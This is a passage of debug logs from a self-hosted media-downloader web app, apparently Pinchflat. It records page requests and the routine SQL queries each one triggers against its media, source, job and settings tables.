m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [73] 22:19:57.984 [debug] QUERY OK source="tasks" db=0.4ms queue=0.3ms idle=921.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [73] 22:19:57.985 [debug] QUERY OK source="sources" db=0.6ms idle=921.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:19:57.985 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=922.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [78] 22:19:57.986 [debug] QUERY OK source="settings" db=0.1ms idle=326.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:57.986 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:57.987 [debug] QUERY OK source="settings" db=0.0ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:57.988 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:57.992 [info] Sent 200 in 10ms 22:19:58.869 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:00.478 [info] GET /sources/1/media/111 22:20:00.478 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "111", "source_id" => "1"} Pipelines: [:browser] 22:20:00.479 [debug] QUERY OK source="media_items" db=0.3ms idle=1416.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [111] 22:20:00.480 [debug] QUERY OK source="sources" db=0.2ms idle=1417.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:00.480 [debug] QUERY OK source="tasks" db=0.3ms idle=1417.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [111] 22:20:00.481 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=816.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [110] 22:20:00.481 [debug] QUERY OK source="settings" db=0.1ms idle=418.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:00.481 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:00.482 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:00.483 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:00.486 [info] Sent 200 in 7ms 22:20:00.658 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:20:02.839 [info] GET /settings 22:20:02.839 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 22:20:02.840 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=777.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:02.840 [debug] QUERY OK source="settings" db=0.1ms idle=777.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:02.841 [debug] QUERY OK source="settings" db=0.1ms idle=778.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:02.841 [debug] QUERY OK source="settings" db=0.1ms idle=779.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:02.843 [info] Sent 200 in 4ms 22:20:04.923 [info] GET /sources/1/media/112 22:20:04.924 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "112", "source_id" => "1"} Pipelines: [:browser] 22:20:04.924 [debug] QUERY OK source="media_items" db=0.2ms idle=861.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [112] 22:20:04.925 [debug] QUERY OK source="tasks" db=0.2ms queue=0.1ms idle=862.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [112] 22:20:04.925 [debug] QUERY OK source="sources" db=0.4ms idle=862.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:04.925 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=863.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [111] 22:20:04.926 [debug] QUERY OK source="settings" db=0.1ms idle=251.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:04.926 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:04.926 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:04.927 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:04.929 [info] Sent 200 in 5ms 22:20:06.845 [info] GET /sources/1/media/75 22:20:06.845 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "75", "source_id" => "1"} Pipelines: [:browser] 22:20:06.845 [debug] QUERY OK source="media_items" db=0.2ms idle=783.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [75] 22:20:06.846 [debug] QUERY OK source="tasks" db=0.1ms idle=783.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [75] 22:20:06.846 [debug] QUERY OK source="sources" db=0.2ms idle=783.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:06.846 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=784.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [80] 22:20:06.847 [debug] QUERY OK source="settings" db=0.0ms idle=168.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:06.847 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:06.847 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:06.848 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:06.870 [info] Sent 200 in 25ms 22:20:09.951 [info] GET /sources/1/media/74 22:20:09.951 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "74", "source_id" => "1"} Pipelines: [:browser] 22:20:09.952 [debug] QUERY OK source="media_items" db=0.1ms idle=1889.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [74] 22:20:09.952 [debug] QUERY OK source="tasks" db=0.1ms idle=1889.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [74] 22:20:09.952 [debug] QUERY OK source="sources" db=0.2ms idle=1889.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:09.952 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=1270.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [79] 22:20:09.953 [debug] QUERY OK source="settings" db=0.0ms idle=269.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:09.953 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:09.953 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:09.954 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:09.955 [info] Sent 200 in 4ms 22:20:11.334 [info] GET /sources/1/media/110 22:20:11.335 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "110", "source_id" => "1"} Pipelines: [:browser] 22:20:11.335 [debug] QUERY OK source="media_items" db=0.2ms idle=651.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [110] 22:20:11.336 [debug] QUERY OK source="tasks" db=0.3ms idle=273.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [110] 22:20:11.336 [debug] QUERY OK source="sources" db=0.3ms idle=273.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:11.336 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=273.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [109] 22:20:11.337 [debug] QUERY OK source="settings" db=0.1ms idle=274.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:11.337 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:11.337 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:11.338 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:11.340 [info] Sent 200 in 5ms 22:20:12.549 [info] GET /sources/2 22:20:12.550 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 22:20:12.550 [debug] QUERY OK source="sources" db=0.2ms idle=1213.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:12.551 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1213.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:12.551 [debug] QUERY OK source="tasks" db=0.1ms idle=1213.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 22:20:12.551 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=1213.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [85] 22:20:12.552 [debug] QUERY OK source="settings" db=0.0ms idle=866.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:12.552 [debug] QUERY OK source="settings" db=0.2ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:12.553 [debug] QUERY OK source="settings" db=0.3ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:12.555 [debug] QUERY OK source="sources" db=0.2ms 